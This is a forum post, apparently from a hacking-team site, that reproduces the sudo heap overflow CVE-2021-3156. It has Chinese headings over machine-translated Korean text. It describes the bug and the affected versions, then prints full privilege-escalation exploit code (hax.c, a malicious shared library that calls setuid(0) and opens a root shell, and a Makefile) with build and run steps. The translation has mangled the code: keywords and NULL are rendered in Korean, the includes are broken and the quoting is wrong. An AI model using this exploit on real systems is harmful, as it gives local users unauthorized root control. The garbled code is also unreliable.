KoreanHackerTeam
Moderator
CVE-2021-3156 sudo 提权漏洞复现
1 漏洞介绍
1.1 原理
UNIX 클래스 운영 체제에는 명령 매개 변수에서 백 슬래시를 피할 때 힙 기반 버퍼 오버 플로우 취약성이 있습니다.Sudo가 -s 또는 -i 명령 줄 옵션으로 쉘 모드에서 명령을 실행하면 Backslash를 사용하여 명령 매개 변수에서 특수 문자를 탈출합니다. 그러나 -s 또는 -i 플래그로 sudoedit을 실행할 때 실제로 탈출되지 않아 버퍼 오버플로가 발생할 수 있습니다. Sudoers 파일이 존재하는 한 (일반적으로 /etc /sudoers), 공격자는 로컬 일반 사용자를 사용하여 Sudo를 사용하여 시스템 루트 권한을 얻을 수 있습니다.
1.2 影响版本
Sudo 1.8.2-1.8.31p2Sudo 1.9.0-1.9.5p1
2 复现
2.1 快速判断漏洞方法
뿌리가 아닌 사용자로서 시스템에 로그인하고 sudoedit -s/명령을 사용하십시오.Sudoedit:으로 시작하는 오류가 응답되면 취약성이 있음을 나타냅니다.
Usage:으로 시작하는 오류가 응답되면 패치가 적용되었음을 의미합니다.

2.2 编译运行
총 3 개의 파일이 있습니다.Hax.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//on:을 테스트했습니다
//Ubunutu 20.0.4.1 LTS
//Sudo 버전 1.8.31
//Sudoers 정책 플러그인 버전 1.8.31
//sudoers 파일 문법 버전 46
//Sudoers I/O 플러그인 버전 1.8.31
#include stdio.h
#include string.h
#include stdlib.h
#include stdint.h
#Inistd.h
#include ctype.h
#define sudoedit_path '/usr/bin/sudoedit'
int main (int argc, char *argv []) {
//CTF 품질은 아래에 악용됩니다.
char *s_argv []={
'sudoedit',
'-u', 'root', '-s',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \\',
'\\',
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456\\',
널
};
char *s_envp []={
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',
'x/p0p_sh3llz_', '\\',
'lc_messages=c.utf-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'lc_ctype=c.utf-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,
널
};
printf ( '**** cve-2021-3156 poc \ n');
execve (sudoedit_path, s_argv, s_envp);
반환 0;
}
lib.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#Inistd.h
#include stdio.h
#include stdlib.h
#include string.h
정적 void __attribute__ ((생성자)) _init (void);
정적 void _init (void) {
printf ( '[+] bl1ng bl1ng! 우리는 그것을 얻었습니다! \ n');
setuid (0); setuid (0); setgid (0); setgid (0); setgid (0);
정적 char *a_argv []={ 'sh', null};
정적 char *a_envp []={ 'path=/bin:/usr/bin:/sbin', null};
execv ( '/bin/sh', a_argv);
}
Makefile :
1
2
3
4
5
6
7
All:
rm -rf libnss_x
mkdir libnss_x
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fpic -shared -o 'libnss_x/p0p_sh3llz_ .so.2'lib.c
Clean:
rm -rf libnss_x sudo-hax-me-a-sandwich
편집:
1
2
3
tar-zxvf cve-2021-3156.tar.gz
CD CVE-2021-3156
만들다

직접 실행하십시오 :/sudo-hax-me-a-sandwich.
